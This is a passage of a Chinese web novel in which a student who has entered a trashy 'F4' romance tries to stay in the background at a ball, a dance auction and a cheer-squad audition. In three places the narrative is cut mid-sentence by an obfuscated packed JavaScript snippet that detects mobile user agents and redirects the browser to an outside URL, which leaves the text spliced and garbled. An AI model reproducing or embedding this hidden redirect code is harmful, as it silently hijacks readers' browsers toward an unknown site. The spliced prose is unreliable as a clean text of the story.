以危栋之的经验,但凡有人以“听听罢了”为开头,那后面跟着的必不可能是让人听听就罢了的内容。 危栋之颔首,示意他继续说。 牧后放下铜制托盘,斜靠在护栏扶手边,指了指楼下的f1: “f1……不,裴拯其实并不是独生子。裴家原是一对双胞胎,十岁时死了一个。” 危栋之顺着牧后指的方向看过去: “这个我知道。虽然很少人提了,但不算秘密。” “但这点您可能不知道。” 牧后身体前倾,压低了声音,凑在危栋之耳边: “裴拯早就死了,他是他哥哥。”* 8. 辛德瑞拉 皮鞋与石板碰撞发出清脆声响。 裴拯在大步疾行,他的身后跟着亦步亦趋的助理。 “少爷,大厅在这个方向,您应该……” “滚开。” “可是如果您不去跟主办方打招呼,也应该先去跟蘇珩少爷……” “我说了滚。” “少爷,您不该这么任性。您的一举一动我都会如实呈报给老爷。” 裴拯骤然停下脚步。 他回头看向助理,眼神中有晦暗的漩涡在凝聚,如一头择人而噬的狮子。 “再说一遍。”裴拯说。 助理被他的神情吓得胆怯,却也只能硬着头皮重复,“您的一举一动我都将如实呈报给……” “砰!” “老爷”两个字还没说完,助理就被仰面踢倒在了地上。 身周膨起灰尘,裴拯的皮鞋踩着助理的胸口,在上面缓缓碾压。 裴拯居高临下,眼睑低敛: “这就是我的举动。尽管写吧,然后送到我‘亲爱的父亲’那里去邀功。” 助理被压迫着肺部,几乎喘不过气来,只能艰难地嘶声道: “我是老爷派来的人,您、您不能这么对待我……” 回应他的只是更狠的一脚。助理被踹得咳嗽了起来。 裴拯冷冷地盯着他,再次抬起脚。 助理急忙侧身躲避,却发现那一脚并没有落下来。 他抬头,发现裴拯竟然以一种侧耳聆听的姿态在跟他说话。 “你听到什么了吗?”裴拯问。 “……属下什么都没有听到。” “是《雪莱舞曲》。” 裴拯喃喃道,神情近乎迷茫。 过于稚拙的《雪莱舞曲》像是一根拴在裴拯脖子上的项圈,却也安抚了他此刻暴虐的情绪。 他把助理丢在原地,跟随着乐声走到B厅。 推开门的那一瞬间,裴拯感觉自己仿佛回到了八年前。 这里的布置跟他记忆中一模一样。 穹顶上那颗不伦不类的迪斯科灯球,角落里摆放着国际象棋的棕色木柜,地上凌乱摆放着的琴谱。 还有大厅中央那架黑色的三角钢琴。 弹奏钢琴的人穿着白色的西装马甲,外套规矩地放在琴凳一侧。 演奏者弹得并不好,甚至主旋律的部分都很生疏。 可是这一切,都跟他记忆中的那一天严丝合缝的卡上了。 那天他刚刚八岁,忘记犯了什么过错,父亲罚他留在这里练一整天的钢琴。 他哭得上气不接下气。 他讨厌父亲,讨厌父亲强迫他做的一切事,更讨厌比他优秀百倍的哥哥总能获得离开庄园的准许,而他自己却不能。 但他没办法讨厌哥哥。 因为哥哥总是会偷偷溜回来,坐在琴凳的另一侧,替他抹去泪水,跟他一起弹奏。 哥哥死后,父亲让他顶替哥哥的名字。 父亲说我的毕生心血都用在培养裴拯身上了,为什么死的是他,不是一无是处的你? 父亲说你以后就是裴拯了。 演奏声突然断了。 白昼不知所措地看着这个闯入者。 “起开。”裴拯说。 他边说边走向钢琴。 白昼如惊弓之鸟一般站起身,离开琴凳。 裴拯盯着他,将两侧的袖扣拆下来,放在钢琴上,将袖子挽起: “没让你走,是让你给我腾一个位置。坐下。” 白昼在他身侧乖乖坐下。 裴拯抬起手腕,手指刚要落在琴键上,却看白昼依旧一动不动,皱起眉,“继续接上你刚才弹的,我给你伴奏。” “……好。” 白昼回忆着他刚才弹到的地方接续上,但因为紧张,他出的错误比先前更多。 但裴拯却不管,像没听见一样,依旧为他在低声部奏着和声。 只是会在生硬的地方托他一把,在慢掉的地方等他一下。 这种无声的支持让白昼感受到了些许宽慰,他把注意力放在弹奏本身上。 错误逐渐变少,曲调愈发流畅。 一曲结束,最后一个延音消散在空气中。 F1将手从琴键上拿下来。 F1依旧很沉稳,但白昼的胸膛在剧烈地起伏。 他的熟练度毕竟比起F1实在太差,尽管勉强跟上了,整个过程简直像是在拼命奔跑。 “弹的真差。” 裴拯冷眼看着剧烈喘息着的白昼。 仿佛刚才极其耐心柔和地给人家伴奏的不是他一样。 白昼低下头,眼前这个青年周身的气质让他有些害怕。 他习惯性的道歉:“对不……” 裴拯却打断他,“像我以前一样。” 白昼猛然抬头,看向裴拯的眼睛。 这个人的眼睛里竟然有一丝微不可察的怀念。 这让白昼松了一口气,他鼓起勇气问道,“你为什么不去大厅跳舞?” 裴拯:“我讨厌舞会。” 白昼点了点头:“我也不喜欢……舞会让我感到不自在。” 裴拯:“你知道我不自在时会做什么吗?” 白昼好奇问:“做什么?” 裴拯冷下脸,沉默地盯着某个方向,然后对白昼说: “我就这样看着令我感到不愉快或者不自在的人,直到他们自觉走开。” 白昼想了想,“是这样么?” 白昼模仿着裴拯,试图恶狠狠地盯着某个方向。 只是这种“恶狠狠”实在太没威慑力,在裴拯眼中,跟一只试图威慑敌人的绒布玩偶没什么两样。 裴拯的唇角绽开一丝罕见的微笑,他的目光近乎是温柔的: “你叫什么名字?” “我……” 白昼刚想回答,却突然想起什么,手指骤然收紧。 他手里攥着一张发票。 发票的背面写着: 【如果有人问起你的名字,不要回答,立刻以最快速度返回大厅】 “我不能……对不起……” 白昼摇摇晃晃地站起,后退着,低下头不敢去看裴拯的脸。 他对着裴拯深深地一鞠躬,然后跌跌撞撞地向大厅跑去。 牧后说他是辛德瑞拉,果然没错。 只是没到十二点,他就要被打回原形了。 ------------------------------------- “白昼!”正在与人攀谈的靡怀烟惊喜地叫出他的名字,接着有些委屈,“我找你好久了,明明是我约你来的,你却总是冷落我。” 嘴上说着“被冷落”,可这人一点也没让自己闲着。 靡怀烟照旧被众星拱月般簇拥着,与周围一众年轻漂亮的美人们轻声细语打情骂俏。 白昼反而因为这句话,受到了其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918279|160304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余人明显带着敌意的注视。 “现在告诉我吧,你抛下我不管,去了哪里?” 靡怀烟坐在柔软的沙发上,微微欠身,握住白昼指尖,将他拉到沙发上与他并坐,“是谁这么讨人喜欢,把你从我身边勾走了?” “我……” 牧后没告诉他要保密,可直觉让他缄口不言,只好一个劲地把脸往自己的胸口塞。 好在靡怀烟并不是真的在要一个回答,他刚想再逗逗白昼,听到音响中传来调整话筒的噪声。 “叮——” 会议主持人终于现身,站在一处显眼的凸台上,在话筒前敲响了自己的酒杯,清脆的声音吸引了全场注意。 “欢迎诸位来到斐尔金馆,我在这里代替主办方向诸位表达谢意。今晚所有的捐赠金额都将会用于斐尔金歌剧院的筹建。” “除此之外,今晚我们的主题只有一个——舞蹈。” “但是只是跳舞不免单调,因此我们决定将两者结合,临时增加一个充满趣味的小小活动。” 主持人让侍应生们,给每个人发下一种黑色的号码牌。 “发到大家手中的号码牌想必大家都不陌生。没错,今晚,决定舞伴的方式将不只是简单的邀请,而是竞拍。” “举起手中的号码牌,拍下心仪的舞伴。” “竞拍资金将作为捐赠款项,记在受邀者名下。” “只在今晚,无论是谁,都不会拒绝。” 主持人话音一落,不少人都从面面相觑的状态解放出来,尝试着叫价。一时间,各个名称此起彼伏。 出现次数最多的当属靡怀烟的名字。 “我想邀请靡少共舞!出价三万!” “靡怀烟,十万!” “二十万!” 围在靡怀烟周围的人们纷纷喊价,每个人都势在必得。他们每次喊出最高价后,还会讨好似的看向靡怀烟,以期从他那里讨来几个带着笑意的眼神。 靡怀烟饶有兴致地听着他们叫价,全然放任,这种不加约束的态度也让他的追求者们越发疯狂。 “一百万!”喊出这个价格的人得意洋洋地环顾四周。 一时间周围都偃了声息。 其余人并非不能加更高的价钱,只是他们需要衡量一下,一支一百万以上的舞蹈是否是他们能承受得起的。 而喊出价格的人则向靡怀烟走去,伸手对靡怀烟做了一个邀舞的手势。 靡怀烟放下手中的酒杯,对他微笑,“好意心领,只是我还没出价呢。” “二百万,邀请我的同行者白昼先生共舞。” 靡怀烟亮起自己手中的号码牌。 “二百万,靡怀烟先生邀请白昼先生共舞——”主持人重复道,言语间煽动性极强,“如果还有人想要邀请靡怀烟先生,只需要拍出比二百万更高的价格即可。” 二百万一支舞。这已经是极其耸人听闻的价格了。 还有人不死心,刚想举起牌子,就被旁边的同伴按下手。 主持人开始唱价:“二百万一次——” “二百万两次——” “二百万……” “三百万。” 大厅门口,一个人用不大的音量说道。 接着他随手从旁边人那里扯过一个号码牌,向大厅中央走去,周围人不自觉地给他让出一条路。 他一直走到白昼旁边,直直盯着白昼的眼睛说,“三百万,邀请白昼共舞。” 9. 开始 是裴拯! 大厅里的人沸腾了。 “好久不见。” 靡怀烟端着酒杯,微微歪头,看着这位来势汹汹的老友。 见白昼一直没有回应,裴拯才把注意力分给靡怀烟,也只是淡淡地应了一声“嗯。” 半晌,裴拯才再次出声,问道,“你们什么关系?” 看着裴拯绝对称得上认真的表情,靡怀烟的目光逐渐变深: “谁知道呢,大概是……我要出二百万才能买他一次共舞机会的关系。” “不,也许已经买不到了。” 靡怀烟眨眨眼,“谁让你来了呢?” “五百万。” 裴拯以更高的加价金额回应这不算挑衅的挑衅。 靡怀烟很是无辜:“我可还什么都没说。” ------------------------------------- “咔” 二楼贵宾席上,危栋之手里的玻璃杯破裂。 牧后偷眼看过去,发现自家老板后背绷得笔直,面色铁青。 开始了开始了,怨妇哥要开始发病了。 靡怀烟刚来时,看到他和他的莺莺燕燕们打情骂俏,危栋之的怒气就开始凝聚了,现在看到靡怀烟竟然开始为了一个新生竞价——这还能忍得了? 牧后十分狗腿地接过危栋之手里的玻璃杯碎片,扔进垃圾桶里,走回来的时候带了点东西。 他把这东西塞进自家老板手心里。 危栋之感觉到自己刚才捏碎玻璃杯的手里,被塞进了触感奇怪的异物,低头不满地看了一眼。 ——俩核桃。 “你什么意思?”危栋之阴沉着脸。 没什么意思,单纯是见你握力强悍,不用来开核桃可惜了。 牧后把到嗓子眼的话咽下去,重新组织语言,腆着脸凑上去: “属下看您一连捏碎了两个酒杯,碎片锋锐,唯恐割伤您的贵手,因此换了不那么危险的东西供您泄愤。” 危栋之明显不信,冷哼,“这么好心?” “倒也不止这个原因,”牧后微叹了口气,“实在是属下想吃核桃仁了。” “你!” 危栋之额角冒起青筋,手上用力,手中核桃外壳碎裂。 危栋之:“……” 他看着剥好的核桃,眼角微不可见地一抽,沉默地开始恼羞成怒。 “唉唉别扔,您给我。” 牧后赶忙从危栋之手里抠出核桃仁,装进口袋里,站直正色道: “属下这就去帮您扔掉这碎屑,换新的来。” 危栋之哪会如他愿,沉着脸握紧手,捏住了牧后正要抽走的指尖。 “哎疼疼疼疼——” 危栋之不为所动,目色暗沉:“非要在这个时候惹我?” 他自觉对这个新员工不算苛刻,就算偶尔有蹬鼻子上脸的迹象也权且忍下,因为他能感知到牧后夸张的越界背后,其实相当精妙地拿捏着分寸——这个人知道怎么招人烦,却不讨人厌。 可现在这个时候,这人明知自己怒气最盛,却仍旧不知收敛,甚至是在刻意地招惹自己。 为什么? 一丝明悟在一瞬间划过危栋之脑海。 “有意思。” 他松开了牧后的手指,用一种此前从未有过的目光看向牧后: “你在干扰我,不想让我出价。” “怎么会,您要是想要出价,谁能阻止您呢?” 牧后的反应不可谓不快,神态也很自然且无辜,丝毫没有被抓包的尴尬迹象,甚至连现场瞎编的理由也很像那么一回事: “只是属下想,谁的钱也不是大风刮来的,您要是这个时候忍不住邀请了靡怀烟,这钱——我看看现在出价到多少了——少说五百万,可就像水一样泼出去了,里面没准有我的工资呢。” 牧后正色:“提醒上司合理利用资金,是属下分内之事,您不必感谢。” “借口,你没那么在乎你的工资。至少不像你表现出来的那么在乎。” 危栋之看向楼下,“你好像有什么计划,而这个计划我不能参与。” 五百万。 牧后大概清楚现在只有自己还会继续加码,来邀请靡怀烟。 牧后向右下飞速瞥了一眼:“您真是多虑了,我不过……” “八百万。” 危栋之打断他,亮出自己手中的号码牌。 刚刚因为裴拯出价而嘈杂起来的会场又安静下来,一时间二楼成了所有视线的焦点。 危栋之手中的号码牌一下一下地磕在扶手上。 哪怕牧后没有故意拖延时间,自己也还是会加价来邀请。原因无他,他只是不愿与别人分享靡怀烟。 靡怀烟抬头,看向二楼。 没有浮夸地抛媚眼,也没有笑意盈盈地以目光鼓励自己的追求者。他整个人都安静了下来,如同短暂地褪下了他一直以来戴着的面具。 靡怀烟轻轻摇头,用一种说不上是悲哀还是无奈的眼神看着危栋之。 二人对望。 良久,危栋之绝望地闭上眼睛,结束了这场无声的争辩。 他妥协了。 主持人左看右看,犹豫不定,只好举着话筒,向危栋之确认道,“这位先生,您打算邀请谁?” 绝望之后就是随之而来的怒火,危栋之看到自己身边的某个人,正趁着没人注意贴着墙边偷偷往外溜,于是怒火终于有了出口。 在牧后惊恐的表情中,危栋之伸出手,面无表情地把他拎了回来: “八百万,我邀请这位侍应生共舞。” …… …… 丝缎般柔和的舞曲在大厅中绵延开来。 高耸洁白的大理石穹顶下,成对的舞者翩翩起舞,水晶灯折射出的彩光映在他们身上,场面梦幻而迷离。 ……本应是梦幻迷离的。 “这可是八百万啊老板。您不用给我八百万,您打个对折,直接给我四百万我就很乐意跟您跳。更别说跳一回,跳十回一百回都成。您说您花那个冤枉钱干嘛呢,您真信了他们要在筹资市中心建歌剧院的鬼话?能建起来才有鬼,都是敛财的由头!” 牧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918280|160304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一手扶在危栋之肩膀上,另一只手抓着自己老板的手,万分痛心地开始碎碎念。 说一遍不行,他还要说第二遍,第三遍。 哪一遍的词都不重复,但都是牢牢围绕着“败家、挥霍、理财不善、职场霸凌,以及肥水不流外人田”这几个中心思想进行的大幅度展开。 目光相对,呼吸相接,魔音贯耳。这个距离可以说避无可避。 危栋之听得头大,偏偏这又是自己招来的,后悔药都不知道去哪里买。 终于是忍无可忍:“闭嘴。就你话多。” “我这不是替您心疼钱么。”牧后叹气。 “我有钱。”危栋之试图占据上风。 “啧啧。”牧后阴阳怪气地发出两个语气词。 危栋之:“……” 我八百万就买了这么个货当舞伴! 这简直是他至今为止做过的最亏的交易没有之一。 何况这八百万还总踩他脚。 “你会跳么?”危栋之嘶声道。他的小腿刚被踢了一脚。 “看过别人跳。”牧后大言不惭,“反正是手牵手,然后再跟着旋律摇摆身体咯,最多加一点跟舞伴的配合,对吧?很简单。” 危栋之划过一个完美的半圆,“不要踩着我的脚说简单。” “开玩笑的。我还是会些舞蹈,只是跳女步限制了我的发挥。”牧后辩解道,“说起来您才是最应该跳女步的。” “为什么?” “因为这场舞中途会短暂交换三次舞伴,f3跳的是男步,您要是跳女步,没准待会能换到靡怀烟那里去呢。” 危栋之沉默,不是因为遗憾,而是,“太卑鄙了。”危栋之说,“没有征得他的同意,我不会用这种方式。” “不是卑鄙,是您太心软了。他一个眼神就让您打了退堂鼓。” 牧后边说边估量着,他们与靡怀烟那对之间的距离,“不过嘛……” 舞曲调子一转,女伴们纷纷向右划出半圆,接住新舞伴的手。 牧后轻巧地旋转出去,中途不忘跟老板说拜拜,“您不打算与f3共舞的话,那这个机会只好由我遗憾接下。” 危栋之满脸阴沉地看着牧后换走,被靡怀烟接管。 扶上靡怀烟肩膀的那一刻,牧后立刻拿腔作调地装出一副娇羞样子,活像是粉丝见了他朝思暮想的明星,还装得还很像那么一回事。 要不是抽冷子能看见牧后在靡怀烟怀里朝他做鬼脸,他还真以为牧后是靡怀烟的粉丝。 危栋之:“……” 你最好管好你的手脚。尤其是脚。 牧后断断续续在转圈的间隙里,朝着危栋之做口型:“我就说让你……” 然后他被挡住了。 “跳女步吧,还有机会能……” 又出现。 “能成为靡怀烟的……” 转了回来。 “舞伴。” 最后是表情夸张的追悔莫及:“害,你偏不听。” 危栋之怒气上头,下意识攥紧了手里的东西,他此时的舞伴怒气冲冲地踩了他一脚。 10.第 10 章 九月底、十月初。 理论上算是入了秋,但燥热依旧不散。 礼堂里挤满了进进出出的人,哪怕空调一直在不停地轰鸣制冷也无济于事。 牧后抱着本《公猪的骟后处理》躲在后台角落,与一堆废弃纸箱为伍,拼命压低着自己的存在感。 为了举办今晚盛大的迎新晚会,周围所有人都像疯了一样,脸上带着规格统一的亢奋。 不必说,这个迎新晚会自然是特地为F4举办的。 牧后低头看了眼手表。 距离晚会正式开始,还有三个小时。 等到三个小时后,夜幕四合、聚光灯亮起之时,F4就会登场。 他们四个人会如同神明一般降临在舞台上,在一片赞美声中,沐浴着所有人痴迷崇拜的目光。 ——除了主角。 主角将是这一神圣时刻的破坏者。 根据剧情,神情局促、衣着寒酸的主角会在这一刻,像一头惊慌失措的无辜小鹿那样,一头扎进那团神圣的光芒,撞倒f1,引发全场混乱。 由此拉开整篇小说的序幕。 后面的剧情就很老套了。 不,甚至不能说老套,简直可以说是公式化。热衷于把读者的脑子按在地板上狠狠摩擦,不建议任何口味正常的人阅读。 但牧后还是读了。 不仅读了,还读得非常仔细。 倒不是他对吃屎情有独钟,而是实在没办法。谁让他穿进来了呢? 即便再难以下咽,这本小说对于他来说,依旧是记载了过去、现在和未来的「命运之书」。 值得他反复背诵,认真揣摩。 当然,主要是揣摩哪天请假来躲避狗血情节比较合适。 只可惜今晚的迎新会要求全员在场,请假这招不管用,否则他早就溜之大吉了。 牧后叹了口气,把书往上举了举,遮住自己的脸。 大概是他把书举得太高了,也挡了自己的视线,噗地一下,书脊尖锐处顶在了某个人的腰上。 “抱歉抱歉。”牧后从书后探出头。 不知不觉间,这个狭小的设备房里已经站了不少人。 “没事。” 那人用手揉了揉自己被戳到的地方。 牧后简单打量了一下他。 这人长挺高,眉毛比较浓,除此之外没什么特点。唯一值得注意的是,他的手腕上系了条四种颜色混杂的缎带,鲜艳夺目。 看着那条缎带,牧后突然好奇,“你手上的缎带是什么?我看好多人手上都缠着这个。” “哦,这个啊,这是我们气氛组的标志。” 那人把手举起来给他看: “我们在排练F4到来时的情形。领队安排我们守在校门口,等F4一到,就开始齐声赞美。” “原来都是演出来的?” 牧后震惊。 怪不得小说里F4一登场,就恰好有热心路人围过来组成气氛组,一边发花痴一边给主角介绍F4的身份背景,原来都是事先组织好的。 既衬托了F4的高贵身份,又恰到好处地给主角做了介绍,一石二鸟啊。 够贴心。 “什么叫演出来的!你这人怎么说话呢。” 不知道牧后的话触动了他哪根神经,那人似乎对这种说法很不满意: “我们所有赞美都发自真心!只不过事先排练一下让现场更加完美而已,不排练乱哄哄一团像什么样子。F4他们值得最好的!” “哦哦,是这样啊。” 眼见对方有点恼火,牧后立刻习惯性给对面顺毛,并作恍然大悟状: “是我误会你们的用意了,哎呀。你们考虑的很周到嘛。F4能有你们这样的粉丝,怕不是晚上做梦都要笑醒。” 听到“做梦都要笑醒”,那人微微的怒意消下去了,反而颇有些扭捏,“这倒不至于啦。” “怎么称呼?”牧后问。 他刚才一直在找眼前这人的胸牌。 每个学生都要佩戴写有姓名和班级的胸牌,这是「梅迪亚纳贵族学院」的校规之一。 但大部分主要角色就从来不戴。 毕竟“校规”这东西在小说里的作用,就是用来打破的,这样才能凸显主角们的高贵身份和与众不同嘛。 所以当牧后没在眼前这人身上看到胸牌的时候,神经就略微紧绷起来。 他心说这小子眉清目秀其貌不扬的,应该不会是个主要角色吧? 不过他要真是怎么办? 看他对F4的崇拜程度,没准是个因嫉生恨然后对主角进行报复的反派。 啧。跟反派掺和到一块就更麻烦了。很容易被牵连。 跑吧。牧后想。 万一他要真是反派,我拔腿就跑。 面前这人不知道牧后已经开始活动手腕准备跑路了,很直爽地回答: “哦,我叫丁鹏程。” 丁鹏程? 这名字质朴到跟玛丽苏小说格格不入。 牧后在脑海里过了一遍人名,确定这个名字不属于任何出场角色,彻底松了口气。 说实话他一点都不想跑路,他还没从军训时的一千米体测阴影中走出来。 “好名字。” 牧后竖起拇指。 丁鹏程明显对自己的名字不太满意,两条略显憨气的浓眉搅在一起: “好什么好,跟叫旺财的狗和叫咪咪的猫一样。烂大街。” “怎么能这么说,”牧后安慰,“用的人多,说明你的名字符合主流审美嘛,多好。” 眼见着周围人越来越多,大概他们的排练也要开始了。 牧后不打算凑这个热闹,想了想还是决定离开。 可惜了,难得寻到的清净地方。 牧后遗憾地收拾东西,他拍了拍裤子上的灰,提着巴掌高只能半蹲半坐的木板凳站了起来,走到门口。 打开门,一股热浪袭来。 牧后呆立片刻,迅速关上了门,后退一步。 差点忘了,礼堂里的空调坏了正在抢修,现在外面的热度大约能等同于两个阿鼻地狱。 牧后又原样走了回来。 “你还没走吗?” 丁鹏程看到牧后回来,好像有点开心,大概是难得遇到跟他同届的新生。 但接着表情又变得为难: “排练马上要开始了,领队说他不想在这里看到无关人员,可能马上就要赶你出去了。” “没关系,我是来加入你们的。” 牧后把他那块小木板凳放回地上,让丁鹏程给他指个方向,“我去找下你们领队,看看能不能申请一下,跟你们一起赞美F4。” “你也想加入气氛组?眼光倒是不错,但是不可能。你不知道多少人为这些名额抢破了头。” 丁鹏程告诉了他领队的位置,但还是不觉得他能留下来,“气氛组对我们来说更多意味着一种荣耀,只有骨灰级粉丝才能加入,审核很严格的。” 骨灰级粉丝么。 牧后摸了摸下巴。 那不可能有谁比他更骨灰了,他连小说里F4偏好什么款式的内裤都一清二楚。 十分钟后,牧后回来了。 丁鹏程看着他手腕上的四色缎带,目光都直了,呆呆地问: “到底怎么做到的……你到底用了什么手段?” “能用什么手段,当然是晓之以理、动之以情,用我的信念打动领队。” 牧后扯了扯有点紧的缎带,张口就来: “我一岁时会说的第一句话就是F4他们四个的名字,抓周时最先抓到的就是他们的写真集。实话跟你讲,我出生就是为了推他们。” 丁鹏程惊讶地张大了嘴巴,“真的?” 假的。 牧后把这两个字咽了下去,一本正经地回答他,“当然是真的。” 丁鹏程还有些迷惑,“可是我们跟F4不是同岁吗,他们那么小就出写真集了?” 这家伙比领队还机灵点。 牧后故意没回答,接着说: “不仅如此,我每天都要在供桌上摆好他们的照片,恭敬地上三炷香,东南西北四个方向各拜上一拜,不然我晚上连觉都睡不好。” “呃,我怎么感觉哪里有点奇怪……” “怎么会奇怪呢,每个人喜欢他们的方式都不一样嘛,” 牧后一把揽过丁鹏程的肩膀,“你的方式是成为气氛组为他们加油打气,我的方式就是每天祭拜他们,对吧?没什么问题。” “你这么一说,好像确实没什么问题……然后领队就让你加入了?” 丁鹏程直眉愣眼地问。 “当然不止这些,还有别的。” 牧后搓搓指尖,摆出数钞票的手势。 “我就知道,你……你贿赂领队!” 丁鹏程差点喊出声,看到周围有人看过来,又把声音压了下去,“你这人真卑鄙,竟然用这种不入流的手段!” “谁贿赂了,我就搓了搓手指。天干物燥,手指起皮嘛。” 牧后笑得奸诈,“倒是你,竟然把气氛组这么神圣的工作说成贿赂就能得到的,真是心思不纯啊。” “我没有!” 丁鹏程差点又嚷起来,最后压着声音恨恨说,“那是你故意诱导我。” 牧后心底简直要捂着肚子乐翻了。 不得了。 逗纯情男大好玩的要死。 牧后乐够了,收拾起表情重新站直。 低调低调,少说话少做事。当好背景板。 虽然偶尔逗逗同为路人的同学,没什么大碍,但还是小心谨慎为上,千万不能扰乱剧情,影响到他回家可就惨了。 在这个世界,他得夹好尾巴做人。 牧后重新坐下,接着续上他没看完的书。 那边丁鹏程郁闷了没一会儿,被领队叫过去,不知道说了什么,然后开心地回来了。 “牧后,告诉你一个好消息!” “领队刚刚跟我说,要重新安排一下组里的站位。具体怎么安排待会就公布,每个人都有机会表现自己,而且,” 丁鹏程兴高采烈, “还有站在第一排的机会!” ……还有站在第一排的风险? 牧后大惊失色。 食堂。纯白穹顶。 距离开饭还有一段时间,除了准备餐食的工作人员,整个大厅都没几个人影。 阳光从落地窗照进来,照在牧后的背上。 困,太困了。 他的十指插在头发里,一头微弯的黑发被压得四处翘起,目光生无可恋地垂在桌面上。 如果不是昨天被孟宇华拉去当了苦力,从此脱离了闲散的路人生活,他今天也不用这么早起。 更可恨的是,他回到昨天的病房探病,想要搞清楚这一切到底是为什么。 结果发现孟宇华并没有死亡,也没有转入重症监护室——他消失了。 从姓名到存在,从历史到记忆。 孟宇华就像一个从未存在过的人一样,在所有人的感知中消失了。 好了,这下所有的疑问,都随着孟宇华一起烟消云散。 不仅如此,幕后黑手的任务,全部被转移到了自己身上。 “啊——”牧后发出虚弱的呻吟,“不想工作啊,想回宿舍睡觉——” 不过话说回来,孟宇华还是给过自己帮助的。 临走时,孟宇华扔给自己的那支钢笔,就是牧后放在白昼身上的窃听器——它出自小说第三十一章,牧后一眼就能认出来。 作为通晓小说剧情的两个人,这点默契还是有的。 他俩都清楚蘇珩的变态癖好。 原文中,蘇珩拿走了主角白昼身上的纸巾,而现在,那包纸巾被伪装良好的窃听器所取代。 它会像个战利品一样,被展示在F4专属休息室的柜子里,同时坚定地履行着自己的职责,为牧后源源不断输送着F4的谈话信息。 所以这算什么,新手礼包吗? 牧后已经有点认命了,他拿出挎包里的本子,开始修改下一步计划。 接下来需要做好准备的情节,是「选座」。 坐的离主角够近,才可以精确知晓剧情进度。但距离过近,又存在卷入剧情的风险。 这次换座,他需要拿到一个能够掌控大局,但又置身事外的位置。 主角同桌这个位置别想,因为这将会是f3蘇珩的地盘。 前桌观察不到信息,去了白去。 后桌则容易与主角产生互动,插满了情节展开的旗帜,又很危险。 所以最好选择主角的侧后方,几乎满足一切条件,还处在蘇珩的视线死角。 可问题是,选座顺序是按照入学成绩排的。 主角白昼拿着奖学金入学,成绩稳居第一,当然是第一个选。而自己则是标准的中间数——第二十名。 他们之间还有十八个变量无法把控。 牧后有些后悔了。 入学考时,他为了能更好地隐藏在路人之中,刻意答错了不少题,这下搬起石头砸自己的脚了。 普通方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919878|160304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法行不通的话,只能提前动用一点下流手段了……牧后摩挲着手中的圆珠笔。 “班主任说今晚班里要换座,真是奇了怪了,昨天不是刚换过吗?” 一个身量挺高、穿着新生制服的学生放下餐盘,在旁边坐下来,特地凑近了些,对着牧后的方向说,“老这么换来换去多麻烦啊,你说是不是?” 牧后疑惑地回头看了眼。 我身后也没人啊,他这是在跟我说话? “你认识我?” 牧后警惕地问道。 不能不警惕,昨天他就是被突然贴上来的那双手拽出了日常生活。 因此,他对所有突然上来搭话的人都十分警惕。 “你昨天还给我腾出了空,让我站第一排了呢!我怎么能不认识我的恩人。” 这人对牧后的警惕浑然不觉,反而凑得更近,屁股都要坐在牧后的凳子上了。 “哦,是你啊。” 牧后不动声色地把桌上的本子收拾好,随口客套,“怎么样,站第一排看得清楚吗?” “可清楚了,我还拍了照片呢!” 那同学拿起他胸前挂着的比巴掌大些的数码相机,调出相册来就要给牧后看,“这是裴拯的,可惜他朝车窗外看了一眼,就把窗户摇上去了,只拍到了一张。这几张都是,他人真好啊,又温柔又耐心,看蘇珩,他最放得开,他的照片最多,从哪个方向看都好看。” 领队把手里的报纸卷成直筒,敲在旁边的桌子上,“都安静一下啊,安静一下。” 看到周围吵闹的众人纷纷闭上了嘴,他扫视全场一圈: “我简单说一下安排站位的规则。” “为了公平起见,接下来每个人都上来讲一遍自己准备好的赞美词,我和裁判们会根据你的文采和创意来决定你应该站在第几排。” “我们不论资历,只凭实力。只要你的赞美词够好,你就有可能站在第一排,甚至可能跟F4有互动!” 领队这几句话说得很有煽动性,气氛一下被点燃了,每个人都摩拳擦掌跃跃欲试,眼睛里闪烁着势在必得的火光。 牧后还没来得及为这种癫狂的气氛咋舌,领队已经开始从前排点人了。 牧后眯了眯眼。 有点麻烦。 彩虹屁吹得太好听不行,因为那会让自己站到第一排;但太敷衍也不行,他刚刚才从领队那里要到名额,还说自己是骨灰粉,不能立刻就崩了人设。 要怎样才能恰到好处呢。 在周围人都在拼命修饰自己的赞美词、练习发声的时候,牧后不动声色地点起人头。 照现有的发言顺序,自己应该是第十八个。还行。 前面有足够的样本,既能让他揣摩出领队的偏好,也可以估计出组里的整体水平。 从前到后一共有四排,就先尝试着以第三排为目标吧。 于是牧后一边竖着耳朵听台上人的发言,一边拿着张纸修改自己的赞美词,以求达到一种“虽然平庸但我已经很努力了”的效果。 终于轮到牧后上台了。 